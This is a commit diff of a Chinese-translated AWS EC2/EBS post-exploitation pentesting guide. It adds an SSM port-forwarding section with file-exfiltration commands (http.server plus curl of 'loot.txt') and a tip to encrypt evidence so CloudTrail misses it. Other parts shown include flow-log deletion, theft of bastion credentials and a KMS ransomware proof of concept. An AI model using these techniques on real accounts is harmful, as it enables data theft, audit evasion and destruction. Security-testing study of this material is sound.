Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-08-18 14:53:04 +00:00
parent 36d6914646
commit d9146ae4e5

View File

@@ -21,7 +21,7 @@ VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无
aws-malicious-vpc-mirror.md
{{#endref}}
### 复制运行实例
### 复制运行中的实例
实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(即使在您自己的账户中)**
```shell
@@ -105,12 +105,12 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
aws ssm start-session --target "$INSTANCE_ID"
```
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证
4. 将凭证转移到自己的机器 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置
4. 将凭证转移到自己的机器,存储在 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置
5. 以 Bastion EC2 身份登录 EKS
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,指向 `https://localhost`
6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,使其指向 `https://localhost`
7. 创建一个 SSM 隧道,如下所示:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
@@ -119,11 +119,52 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。
注意,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项),否则 SSL 连接将失败。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。
最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转任何其他 AWS 服务或自定义应用程序。
最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转发到任何其他 AWS 服务或自定义应用程序。
### Share AMI
---
#### 快速本地 ↔️ 远程端口转发 (AWS-StartPortForwardingSession)
如果您只需要将 **一个 TCP 端口从 EC2 实例转发到您的本地主机**,您可以使用 `AWS-StartPortForwardingSession` SSM 文档(不需要远程主机参数):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
该命令在您的工作站(`localPortNumber`)和实例上的选定端口(`portNumber`)之间建立双向隧道**而不打开任何入站安全组规则**。
常见用例:
* **文件外泄**
1. 在实例上启动一个指向您想要外泄的目录的快速 HTTP 服务器:
```bash
python3 -m http.server 8000
```
2. 从您的工作站通过 SSM 隧道获取文件:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **访问内部 web 应用程序(例如 Nessus**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
提示:在提取证据之前先压缩和加密,以便 CloudTrail 不记录明文内容:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### 分享 AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
@@ -139,7 +180,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS勒索软件管理服务因为使用它加密各种 AWS 服务是如此简单。
首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户名称 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户名称 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
```
{
"Version": "2012-10-17",
@@ -324,15 +365,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
]
}
```
请稍等直到新设置的密钥策略传播完成。然后返回到“受害者”账户尝试附加一个新加密的EBS卷。你会发现可以附加该卷。
请稍等直到新设置的密钥策略传播完成。然后返回到“受害者”账户尝试附加一个新加密的EBS卷。你会发现可以附加该卷。
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
但是,当你尝试使用加密EBS卷实际启动EC2实例时它将失败并且会从“待处理”状态永远返回到“已停止”状态因为附加的EBS卷无法使用密钥解密因为密钥策略不再允许。
但是,当你尝试实际启动带有加密EBS卷EC2实例时它将失败并且会永远从“待处理”状态返回到“已停止”状态因为附加的EBS卷无法使用密钥解密因为密钥策略不再允许。
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本然后停止每个EC2实例分离原始EBS卷删除它们最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本它是破坏性的并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们并通过快照将它们恢复到原始状态但我只是想让你意识到这在最终是一个勒索软件的概念验证。
这是使用的python脚本。它获取“受害者”账户的AWS凭证和用于加密的公开可用AWS ARN值。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本然后停止每个EC2实例分离原始EBS卷删除它们最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本它是破坏性的并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们并通过快照将它们恢复到原始状态但我只是想让你意识到这在最终是一个勒索软件的概念验证。
```
import boto3
import argparse
@@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## 参考
- [Pentest Partners 如何使用 SSM 在 AWS 中传输文件](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}